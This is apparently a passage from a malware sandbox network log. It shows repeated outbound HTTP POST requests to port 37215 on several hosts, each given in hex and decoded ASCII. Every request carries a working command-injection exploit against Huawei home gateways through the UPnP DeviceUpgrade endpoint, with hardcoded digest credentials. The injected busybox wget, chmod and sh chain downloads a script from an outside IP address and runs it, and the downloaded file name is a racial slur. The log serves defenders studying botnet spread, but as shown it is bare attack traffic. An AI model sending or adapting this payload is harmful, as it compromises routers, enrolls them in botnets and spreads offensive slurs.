Feb 19, 2024 18:37:25.380443096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:27.236146927 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:31.139600992 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:38.562576056 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.23	52660	94.122.210.124	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.517086029 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.23	58498	94.121.156.217	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.517410040 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.23	50466	31.136.54.170	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.741826057 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:28.420058012 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:29.795854092 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
